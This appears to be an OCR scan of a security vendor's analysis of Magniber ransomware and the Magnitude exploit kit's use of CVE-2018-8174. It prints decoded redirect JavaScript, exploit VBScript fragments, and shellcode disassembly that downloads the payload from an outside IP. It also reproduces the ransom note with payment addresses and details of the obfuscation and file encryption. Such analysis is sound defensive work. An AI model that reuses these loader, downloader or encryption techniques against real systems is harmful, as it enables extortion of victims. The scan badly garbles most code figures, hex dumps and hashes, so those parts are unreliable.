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The Magnitude exploit kit is one of the longest-serving browser exploitation toolkits among those still in use.
After its inception in 2013, it enjoyed worldwide distribution with a liking for ransomware. Eventually, it became

a private operation that had a narrow geographic focus.

During 2017, Magnitude delivered Cerber ransomware via a filtering gate known as Magnigate, only to a select
few Asian countries. In October 2017, the exploit kit operator began to distribute its own breed of ransomware,
Magniber. That change came with an interesting twist—the malware authors went to great lengths to limit

infections to South Korea. In addition to traffic filtering via country-specific malvertising chains, Magniber would

only install if a specific country code was returned, otherwise it would delete itself.

In April 2018, Magnitude unexpectedly started pushing the ever-growing GandCrab ransomware, shortly after

having adopted a fresh Flash zero-day (CVE-2018-4878). What may have been a test campaign did not last long,

and shortly after, Magniber was back again. In our recent captures of Magnitude, we now see the latest Internet

Explorer exploit (CVE-2018-8174) being used primarily, which it integrated after a week-long traffic interruption.

In this post, we take a look at some notable changes with Magniber. Its source code is now more refined,
leveraging various obfuscation techniques and no longer dependent on a Command and Control server or
hardcoded key for its encryption routine. In addition, while Magniber previously only targeted South Korea, it has

now expanded its reach to other Asia Pacific countries.
Extracting the payload

o 72fce87a976667a8c09ed844564adc75 — loader DLL
o 19599cadlbbcal8ac6473e64710443b7 — Magniber’s core DLL

There are several stages before the final payload is downloaded and executed. After Magnigate’s 302 redirection
(Step 1), we see a Base64 obfuscated JavaScript (Step 2) used to launch Magnitude’s landing page, along with a

Base64 encoded VBScript. (Both original versions of the scripts are available at the end of this post in the I0Cs.)
After CVE-2018-8174’s exploitation, the XOR-encrypted Magniber is retrieved.
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Figure 1. Traffic view of a Magniber infection, via Magnigate redirection and Magnitude EK

try {
window.document. body.appendChild(window.document. createElement{iframe));
var kyfwmrx = new window[@].ActiveXObject{htmlFile);
window[@].document.open().close();
kyfwmrx.open().close();
var nucukxb = new kyfwmrx.Script.ActiveXObject(htmlFile];
nucukxb.open(}.close();
nucukxb.Script.open("http://@8tawldc6ld43ce.nexthas. rocks/"};
}ecatch(hijpd){}

window. location = "http://@08taw3c6ld3ce.nexthas. rocks/;

Figure 2. Decoded Javascript shows redirection to Magnitude’s landing page
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xrg))

vert.d11™)

inff()+8)
(linff()+(&hd1ed&+&h3def&))

End Sub

Figure 3. VBScript code snippet showing part of CVE-2018-8174

Once exploitation of the Use After Free vulnerability in Internet Explorer (CVE-2018-8174) is successful, the
VBScript will execute the following shellcode:

Function ruuhe()

Dim vzmhksbfq,yyobfzddh

yyobfzddh =

L A1235,72, 144, 144,144,144, 144,144,144, 144,144,144, 144, 144,144,144, 144,144,144 ,144,144,144, 144, 144
vzmhksbfg=""

For aeyjdbv=0 To UBound(yyobfzddh)/s2

Figure 4. Byte array (shellcode)

Functionality-wise, this shellcode is a simple downloader. It downloads the obfuscated payload, decodes it by
XOR with a key, and then deploys it:

su pusn san EaxiL nLLpigsasE. 2y
68 00 01 00 04 push 2000100

50 push eax eax:L"http://149.202 a2
eax:L"http://149.

50 push eax
8D 44 24 60 Tea eax,dword ptr ss:[esp+6ol]
50 push eax eax:L"http://149.202.112.72/42f93bale43c8558

B 3
FF D3 call ebx ebx: Internatopenur Tw
88 FO mov esi,eax esi:INnternstopenw, eax:L"hTtp:,//149.202.112.72/42f93bale43c855889¢e763FC2edcc349”

Figure 5. Downloading the final payload via InternetOpenUrlw API

The downloaded payload (72fce87a976667a8c09ed844564adc75) is, however, still not the Magniber core, but a
next stage loader. This loader unpacks the Magniber’s core DLL (19599cad1bbcal8ac6473e64710443b7) and

injects it into a process.

Both elements, the loader and Magniber core, are DLLs with Reflective Loader stub, that load themselves into a

current process using the Reflective DLL injection technique.

Behavioral analysis

The actions performed by Magniber haven’t changed much; it encrypts files and at the end drops a ransom note
named README.txt.
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| README.txt - Notepad
File Edit Format View Help
|ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!

vYour files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.

Any attempts to restore your files with the third party software will be fatal for your files!

To receive the private key and decryption program follow the instructions below:
1. pownload "Tor Browser” from https://www.torproject.org/ and install it.

2. In the "Tor Browser' open your personal page here:
http://ffx433111033pndb737.wdjigaddgtkw7uqy. onion/dyaaghemy

Note! This page is available via "Tor Browser"” only.

Also you can use temporary addresses on your personal page without using "Tor Browser™:

http://ffx433111033pndb737. fitmuch. pw/dyaaghemy

http://ffx433111033pndb737. betform. site/dyaaghemy
http://ffx433111033pndb737. itshere. host/dyaaghemy
http://ffx433111033pndb737. meetsit. host,/dyaaghemy

Note! These are temporary addresses! They will be available for a Timited amount of time!

Figure 6. Ransom note left on the infected machine

The given links lead to an onion page that is unique per victim and similar to many other ransomware pages:

St @ v € @fix433111033pndb737 wdjigaddqtkw7ugy.onion/dyaaghemy | @ || search a =

MY DECRYPTOR Home Page Support Decrypt 1 file for FREE Reload current page

Your documents, photos, databases and other important files have been encrypted!

WARNING! Any attempts to restore your files with the third-party software will be fatal for your files! WARNING!

To decrypt your files you need to buy the special software - "My Decryptor"

All transactions should be performed via BITCOIN network.

Within 5 days you can purchase this product at a special price: BTC 0.35 (~ $2240)

After 5 days the price of this product will increase up to: BTC 0.700 (~ $4481)

The special price is available:

04 . 23:59:00

How to get "My Decryptor"?
1. Create a Bitcoin Wallet (we recommend Elockchain.info)
2.  Buy necessary amount of Bitcoins
Here are our recommendations:

Figure 7. Magniber’s payment page

The files encrypted by this version of Magniber can be identified by their extension:
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.dyaaghemy

. While in the past each file was encrypted with the same AES key, this time each file is encrypted with a unique
key—the same plaintext gives a different ciphertext. The encrypted content has no patterns visible. That suggests

that a stream cipher or a cipher with chained blocks was used (probably AES in CBC mode). Below you can see a

BMP file before and after being encrypted by Magniber:

Figure 8. Visualizing a file before and after encryption“>
Code changes

Magniber is constantly evolving with big portions of its code fully rewritten over time. Below you can see a code
comparison between the current Magniber DLL and an earlier version (8a0244eedee8a26139bea287a7e419d9),
created with the help of BinDiff:
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similarit confide change EA primary name primary  EA secondar name secondary

1.00 088 - 00409024 Sleep 10003013 Sleep

1.00 R 0040902C  WriteFile 10003000 WriteFile
1.00 088 - 00409054 IstrepyW 10003020 IstrepyW
1.00 089 - 00409058  IstrcatW 10003024 [streati

1.00 089 - 00409040  GetlLastError 10009004 GetlastError
1.00 089 - 004090A8  ExitProcess 1000301C ExitProcess
1.00 BOoES——— 004090B0  GetProcessHeap 10009014 GetProcessHeap
1.00 BOGEE—— 004090B4 HeapFree 10009010 HeapFree
1.00 088 - 004090B8  HeapReAlloc 1000300C HeapRelloc
1.00 R 004090BC  IstrlenW 10003023 IstrlenWy

1.00 e 004090C0  HeapAlloc 10003008 HeapAlloc

0.88 0.90 -I-JE--  004012F0  sub_4012F0_2 100056F2 sub_100056F3_38
0.86 09z -I--E-C 00406F00  sub_406F00_13 10001010 sub_10001010_26
0.49 073 GI--E-- 00407CC0  sub_407CC0O_20  100086E4 sub_100086E4_46
043 062 -I--E-C 004014E0  sub_4014E0 & 10004 FAS sub_10004F48_33
0.40 0.50 GI--EL- 00403400 sub 403400 8  10002AE2 sub 10002AE2 32
033 0.53 GI-JE-- 00407FAQ  start 1000880E isikhval(void *)
031 046 GI--EL- 004075A0 sub_ 407540 17 10008768 sub_10008765_48
0.27 0.52 GI--E-- 00407030  sub_407030_15 10002185 sub_10002185_28
0.25 08z G------ 00409040  GetTickCount  10004FDO sub_10004FD0_34
018 0.27 GI--EL- 00401500  sub_401500_7 10005750 sub_10005750_39
014 0.21 GI--EL- 00401200 sub_401200_1 1000240E sub_10002A0E_31
0.06 010 GI-JEL- 004017F0  sub_4017F0_& 100059F7 sub_100059F7_43
0.05 010 GI--EL- 00406CFD  sub 406CFD 11 10005942 sub 10005942 42
0.05 010 GI--E-- 004070C0  sub 407DC0_23 10002510 sub 10002510 29
0.04 0.07 GI--EL- 004071B0  sub_4071B0_16 10006403 sub_100064D03_45
0.02 0.07 GI--EL- 00406F30  sub_406F30_14  1000148F sub_1000148F 27
0.01 0.01 GI--E-- 00407870 sub_407870_18 10005541 sub_10005541_36
0.01 0.01 GI--EL- 00408E00  sub_408E00_24 10008700 &700
0.00 0.02 GI--E-- 00401040  sub_401040_0 100087F2 :
001 G------ 00409030  ReadFile 100086E7
—————— CreateFileW 100052CF
0040904 C  IstrempiWV 10005685

0.01

Figure 9. Comparing an older Magniber with the newer one

Obfuscation

The authors put a lot of effort in improving obfuscation. The first version we described was not obfuscated at all.

The current, in contrast, is obfuscated using a few different techniques. First of all, API functions are now

dynamically retrieved by their checksums. For example:
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1888142 mov edi, eax

188814CY call get function by checksum
18881409 push LEEGSA6H

100814CE mov [esp+8EBh+var_8BEC], eax
18881402 call get function by checksum
18881407 push 168D6838Bh

188814DC mov [esp+8E4h+var_7AH], eax
188814E3 call get function by checksum
188814EE8 push JBEDB3638h

1808814ED mov [esp+8E8h+ CreateThread], eax
188814FY, call get_function_by_checksum
1888014F9 push L2B796C6h

180814FE mou [esp+BECh+ WaitForMultipleDbjects], eax
18881585 call get function by checksum
1888158A add esp, 28h

Figure 10. Calling API functions via checksum

Comparing the new and the old version, we can see some overlapping fragments of code:

U9 = 4 % pnCount;
u18 = GetProcessHeap();
1pHandles = {(HAMDLE #*)}HeapfAlloc{vid, @, v?);
for { § = B; § < {signed int)ynCount; ++j )}
{
1pHandles[{] = CreateThread{@, @, StartAddress, {(char =}1lpHem + 892 = j, @, @);
if ( tlpHandles[j] )
Sleep{Bx6hu);

s

WaitForMultipleObjects{nCount, lpHandles, 1, @%FFFFFFFF};

for { 1 = @8; 1 < {signed int)nCount; ++1 )}
CloseHandle{lpHandles[1]};

b
fFor ( 1 = 8; 1 € us; vl

{char =)ull + 1884 )

*#({_ DWORD =})uiil + 136) = B;
thread handle = CreatelThread{8, 8, start_addr, viil, 8, 8);
threads_list[i] = thread_handle;
if { *thread_handle }
Sleep{@x64u);

41
WaitForMultipleObjects{vS, threads list, 1, -1});

for { § =8; j <us; ++7 )
_CloseHandle{threads 1ist[j]);

Figure 11. Old version with normal import calls vs. new version with dynamically retrieved functions

The function pointer is retrieved by searching through export tables of the DLLs that are currently loaded. This
technique requires that the DLL from which we want to retrieve the function to be already loaded. This algorithm
of retrieving function was added to Magniber a few months ago, for example in the sample
60af42293d2dbd0cc8bf1a008e06£394.

In addition, some of the parameters for the calls are dynamically calculated and junk code is added in between the

operations. A string that is supposed to be loaded is scattered through several variables.
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laaalCDB pop ecx

1eaalcDC push A

18881CDE pop eax

18881CDF push "p'

18881CEL mov [esp+BD@h+var_BB3], ax
1a@alCEY pop eax

18@a1CEA push '3

18@681CEC mov [esp+8DBh+var GB4], ax
laaalCF4 pop eax

18@81CF5 push 2

18881CF7 mov [esp+BDBh+var_BBB], ax
18881CFF pop eax

leealDes mov [esp+BCCh+var_BRE], ax
leeallas push "1

la@alDes pop eax

18661068 mov [esp+8CCht+var 6AS], ax
18261013 mov [esp+8CChtvar BAB], ax
18881018 xor 2Ex, eax

18881010 mov [esp+BCCh+var_BCC], bx
18881025 mov [esp+BCCh+var_BaC], bx
18881020 xor ebx, ebx

1888lD2F mov [esp+BCCh+var_BC6], dx
18221037 mov [esp+8CCh+var GBC], si
18@6103F mov [esp+8CCht+var GBA], cx
1861047 mov [esp+8CCh+var GBR], si
1828104F mov [esp+8CChvar_GB2], dx
18881057 mov [esp+BCCh+var_BAA], cx
1888105F mov [esp+BCCh+var_Bad], ax
leealDe? mov [esp+BCCh+var_79C], ebx
leeelDeE lea eax, [esp+3CCh+var_BBC]
1821075 push eax 3 advapi32.dll
lea@alD76 call [esp+8DBh+var 8B2] ; kernel32.|LoadlLibraryl
18881D7A mov ecx, 288h

Figure 12. Adding junk code to make analysis more tricky

File encryption

We can also observe some changes at the functionality level. The early versions relied on the AES key

downloaded from the CnC server (and in case if it was not available, falling back to the hardcoded one, making
decryption trivial in such case). This time, Magniber comes with a public RSA key of the attackers that makes it
fully independent from the Internet connection during the encryption process. This key is used for protecting the

unique AES keys used to encrypt files.

The attacker’s RSA key is hardcoded in the sample in obfuscated form. This is how it looks after deobfuscation:
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000000R0 D5 86 A0 BO &9 CD &5 29 CF &1 33 24 7C B6 oF 50 Ot “ife)Das~|q9:P
000000BO 72 6F 04 68 5C S& 1C DD A2 22 &1 96 60 CA 81 CE ro.h\V.B~"a—"E.1
000000CO 37 DC B6é AA 93 15 D6 EO CD 03 85 8F 94 T7F 17 FF 7Ogs~.8+#1..27.."
00000000 D7 1D 6E 55 61 11 2B 2C 4D 14 5D A8 21 33 FD 84 =.nUa.+,M.]1 7 '3%.
O0000DED €2 7C D7 73 6D 4A C1 FT7 00 2C 74 92 88 D3 BF 74 A|x=mJh=.,t’ .0zt
000000F0 B5 &C 94 F7 78 24 54 47 48 35 FL 58 97 3C BO D1 pS~-xSTGHSOX——<°N
00000100 8F TE R6é CB BC 01 03 FC 6D 2F &C 50 CD RS Bl 26 Z~!C5. .um/1Pioze
00000110 B7 49 A4 DO 77 00 -IuBw.

Figure 13. Deobfuscated RSA key

Each time a new file is going to be encrypted, two 16-byte long strings are generated. One will be used as an AES
key, and another as an initialization vector (IV). Below you can see the fragment of code responsible for

generating those pseudo-random strings.
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BFE1Z5EE . | MOW ESI, EBX

BFE1S5FE . |RADOC DWORD FPTR DS:[BxFELRBLC], EEX

HFE1S5F& > |FPUSH &@=1

HFE1S5FS o FUSH EBX

BFE1SEFS o CALL paylZ2_pz.B8FB126EF

HFE125FE o FOF ECH HE4ED422
BFE125FF o FOF ECH BE4E0425
BFE12&0A o TEST ER=A,ERX

BFE1Z6EZ o [} JHE SHORT pawlZ_p2.0FE1Z68A

BFE12664 o FUSH Ex7A

HFE 12685 o FUSH ExE1

BFE12662 - [} JMP SHORT pawlZ_p2.H0FE1S58E

BFE12568H & PUSH @w329

HFE126EC o PUSH Ex26

BFE12&6E > CALL paylZ_pZ.H8FEB12&EF

BFE12&13 o MOy BYTE FPTRE S5:[ESPF+ESI+Ez221, AL

BFEIZ&1T o IMC ESI

BFEIZ&1E o FOF ECH BE4ED425
BFE1Z&19 o FOF ECH HE4ED4EE
BFE1S&1R o CHP ESI, Gxlf

BFE1S&10 .~ |kJL SHORT pawl2_pZ.HBFBE185F&

HFE12&1F . | HMOW EST, EBX

BFE12621 > |FPUSH @x=1

BFE12522 o FPUUSH EEX

BFE1Z624 o CALL pavlZ_pZ.8FE12cEV

BFE12629 o FOF ECH BE4ED425
HFE1262A o FOF ECH HE4ED4EE
HFE126ZE o TEST ERx,.ERR

BFE12&20 - [} JHME SHORT pawl2_p2.HdFE18535

HFE1262F o FUSH E=7vA

BFE12621 o FUSH @xel

BFE12532 -~ [ JMP SHORT pawl2_p2.B8FE18539

BFE1Z635 * FUSH @x39

BFE1263T o FUSH Ex326

BFE12639 x CALL paylZ_pZ.H@FE1Z6EY

HFE1262E o MOY BYTE FTE SS5: [ESF+ESI+E= 121, AL

BFE12642 o IMC ESI

HFE126432 o FOF ECH HE4ED422
BFE12644 o FOF ECH BE4E0425
BFE12545 o CHMP ESI, @x1@

BFE1Z642 A~ |edL SHORT pavlZ2_p2.@8FBLl2c21

BFE1264A . |LER ER#,DOWORD FTRE S55:[ESF+E:3E]

HFE1264E . | PUSH ERX

BFE1264F . | PUSH OWORD FTR SS5:[CESF+EXC14] pav lZ2_p2.8FB1e4B2
BFE125EE . |LER ER#,DWORD FPTRE SS5:[ESP+E2181]

HFE1265R . | PUSH ERX

BFE126EE . |LER EARX,DWORD FTE S5:[ESF+E22C1]

HFE 1 255F . |PUSH ERX
EEEEEEEN | - CALL pav l2_p2.8FB12514 import_encrupt_key
BFE1S&EE . |HOD ESP,Gxid

BFE1266E . | TEST ERX.ERX

BFE126EH .+ | JE SHORT pawlZ_pZ.E8FE18696

1

BFE1Z251A=pay l2_p2.8FE1Z251A

Address |[Hex dump ASCII
BO4C047E| 75 A OF B 75 76 66 09 90 64 95 32 52 o5 99 r6| uzrauytosdsossoy
BR4E0422| BF F1 9H 62 66 96 22 76 6B 95 30 29 26 74 &5 62| FoPcreIvkSoTeteb
PR4S045c| Bl B8 B9 o SE E2 45 00 00 0p 09 00 01 00 00 03|0...A0E.....0,..

Figure 14. Generating pseudo-random strings

The interesting fact is what they use as a random generator—a weak source of randomness may create a

vulnerability. We can see that under the hood GetTickCount is called:
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1ea@36E7 get_next_wal proc near

leeadeE?

186836E7 min_val= dword ptr 4

188@86EY max_val= dword ptr 3

1@ea36ET7

188@86EY push esi

188@36E8 push BBCED369h

188@86ED call calc functien_ by checksum

1e9a86F2 pop BCX

188@86F3 mov ecx, g storedVall

189886F9 mov esi, eax

188886FE test cl, 1

18@@36FE jnz short loc_lea@s7el

Y A J

legesrea or ecw, 1 legasral
18668783 mov g _storedvall, ecx leaas760 loc_ 188887a0:
18888789 call esi 3 kernel32.GetTickCount| (18888780 mov eax, g_storedval2
18668788 jmp short loc_ 18883712

leaas7l2

188838712 loc_l@ess7ll:

18@as8712 xor eax, 1

18888715 mov g storedval2, eax
1886871A call esi H
1888871C mov ecx, g storedvVal2
18@a8722 add BCH, EBAX

Figure 15. Random generator using GetTickCount

kernel32.GetTickCount

The full reconstruction of the code generating the key and IV is available in the following snippet:
https://gist.github.com/hasherezade/7fb69fbd045315b42d7f962a83fdc300

Before the ransomware proceeds to encrypt the file, the RSA key is imported and used to encrypt the generated

data (key+IV):
AFE1221% [] .| ADD ESP, BuC
AFE12212 |] .| LEA ERX,DWORO FTR S5:[ESF+8:181
HFE1221C |] .| FUSH ESI
GFE1=210 (] .| PUSH ERH pdwDat aLen
BFE1281E || .| FUSH EDI pbbata
BFE1Z221F (] «| PUSH Bx@ dwF L ags
BFE12821 «| wOR EBH, EBEX
HFE12823 |] .| INC EBX
AFE12524 (] .| FUSH EBX Final
AFE12825 (] .| PUSH Bxa hHash
HEE1=2227 ] .| PUSH DWORD PTE SS:CESP+8=2C] hEey
. CALL OWARD PTR 55:[CESP+&8x04] advapizz.CryptEncrypt
BFE12222 |] .| TEST ERR,ERA
4 |l
EOI=B81FFO2S, (ASCII "rgBcfE&3ukEEI6tebuz Pauuwf I2dE22E90u")
Address |Hex durp ASCII
BE4E03E0 [[ZETEETEEEE 27 71 38 63| 66 36 33 F&| 6B 25 38 39 aa rgEcf 630k EED
BE4E03CE[ 26 74 65 62| FS YA 37 &F|FT FE 65 39|32 &4 35 32| GtebuzvVouwfIBdED
BE4E0308( 32 35 39 7640 BA &9 88|63 BR 72 88| &6F BR 73 88[ 259WH. i.c.r.0. S,
BO4E03EG| 6F 08 66 08|74 B0 20 04|45 08 6E 09|55 B9 61 Bo.f.t. [E.nih.a

Figure 16. RSA key import right before file encryption begins

It produces an encrypted block of 256 bytes that is passed to the encrypting function, and later appended at the end
of the encrypted file. Apart from those changes, files are encrypted similar to before, with the help of Windows’

Crypto APIL.
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Lo 552 movsd

188685533 mov esi, [esp+@Ash+arg C]
1885534 push esi
188a85538 wor edi, edi

1e885530 push edi

1888553E push edi

1888553F push 1Ch ; AES 128 bit
leeas541 lea eax, [esp+BBSh+var_1C]
leeass4s push eax

1le@as5549 push dword ptr [ebx]

le@as54B call [esptec@htvar_24] ; adwvapi32.CryptImportiey
1e@as5552 push edi
18885553 test eax, eax

1eeas555 jz short loc_l@8@e558A
_ Y
s =
18885557 mov edi, [esp+BACh+var_28]
1@ees55E lea eax, [esp+HBACh+var_ 28]
1e@a5565 push eax ; pbData=CRYPT MODE_CBC
1885566 push 4 3 KP_MODE
18885568 push dword ptr [esi] ; hKey
leeasseh call edi 3 advapi32.CryptSetieyParam
1eeess56C push a
1888556E test eax, eax
leeessye jz short loc_l@@es53A
i Y
Ll e [-=
1eeas5572 push [esp+BACh+aes_iv] ; pbData
18885579 push 1 3 KP_IV
1885578 push dword ptr [esi] ; hKey
18pas570 call edi ; advapi32.CryptSetleyParam
188a8557F test Sax, eax
1eeBs581 jz short loc_l8@85588

Figure 16. Setting the AES key and initialization vector

laeaz3vc
laeaz3isl
laeaz23iss
laea2386
laea2sgv
laea2389
laea23sD
laea23sr
laea23oas
laeaz3oav
laeaz399
laga23ob
laea239E
laea2s34a2
laea2sas
laea2say
laea23Ab
laea3ca

push
lea

push
push
push
push
push
push
call
push
lea

push
push
push
push
call
mav

Mo

leeapah

eax, [espt+eBh+NumberOfBytesWritten)
eax

edi

esp+EChtvar_43]

@
[
@
[esp+74h+var_44]

[esp+78h+CryptEncrypt] ; advapi32.CryptEncrypt
@

eax, [espt+eBh+NumberOfBytesWritten)

eax

[esp+Edhtvar 28]

edi

[esp+BECh+hFile]

[esp+78h+var_1C] ; kernel32.WriteFile

ecx, 1888alh

eax, edi

Figure 17. Encrypting and writing to a file
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Geographic expansion

In early July, we noted exploit attempts happening outside of the typical area we had become used to, for instance
in Malaysia. At about the same time, a tweet from MalwareHunterTeam mentioned infections in Taiwan and Hong

Kong.

Following the changes in the distribution scope, the code of Magniber got updated to whitelist more languages.
Now the list expanded, adding other Asian languages, such as Chinese (Macau, China, Singapore) and Malay
(Malysia, Brunei).

18281580 mowv [esp+BCCh4var 78C], eax
leesal1s514 call esi ; kernel32.GetSystemDefaultUILanguage
18881516 movzx 2cx, ax
18881519 cmp ecx, BCedLh
188el51F jz short loc_1@888l55E
i L 4
I
18881521 cmp ecx, 1484h 3 Chinese - Macau SAR
leeals2? jz short loc_18@@155E
i L J
ol s 5
18281529 cmp ecx, 584h ; Chinese - China
18aa152F jz short loc 18@@155E
i Y
bl s 5]
1861531 cmp ecx, 18@84h ; Chinese - Singapore
1881537 jz short loc_1e@@155E
i Y
Ll s 55
18881539 cmp ecx, 4@dh ;3 Chinese - Taiwan
1888153F jz short loc_l@88155E
i L 4
Ll s 5
leeals4l cmp ecx, 412h 3 Korean
leesls47? jz short loc_l@@8155E
‘ Y
Ll s 5
18881549 cmp ecx, B83Eh ; Malay - Brunei
1eeBls4F jz short loc_l@@8155E
i L J
ol s 5
1881551 cmp ecx, 43Eh ; Malay - Malysia I
1881557 jz short loc 18@88155E

Figure 17. Expanded language checks

Page 13 of 15


https://twitter.com/malwrhunterteam/status/1014866211174264837
https://www.malwarebytes.com/wp-content/uploads/sites/2/2018/07/languages_set_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2018/07/languages_set_.png

https://www.malwarebytes.com /blog/news/2018,/07 /magniber-ransomware-improves-expands-within-asia

Continuing evolution

While Magniber was not impressive at first, having simple code and no obfuscation, it is actively developed and

its quality continuously improves. Their authors appear professional, even though they commit some mistakes.

This ransomware operation is carried with surgical precision, from a careful distribution to a matching whitelist of
languages. Criminals know exactly which countries they want to target, and they put their efforts to minimize

noise and reduce collateral damage.

Malwarebytes users are protected against this threat thanks to our anti-exploit module, which blocks Magnitude

EK’s attempt to exploit CVE-2018-8174 (VBScript engine vulnerability):

b Bing &z

T EIERICIE AR me S

Thanks to David Ledbetter for his help with deobfuscating the VBScript.

Indicators of compromise (IOCs)

178.32.62[.]1130,bluehuge[ . Jexpert,Magnigate (Step 1) 94.23.165[.]1192,69a5010hbjdd722q.feedrun[.Jonlil

Code snippets

e Javascript
e VBScript

Magniber (original)

6e57159209611f2531104449f4bb86a7621fb9fbc2e90add2ecdfbe293aaddfc
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Magniber (core DLL)

fb6c80ae783¢c188148712376f5cace7532c5eadfc170b39e06e17492652581c2

Source: https://www.malwarebytes.com/blog/news/2018/07/magniber-ransomware-improves-expands-within-asia
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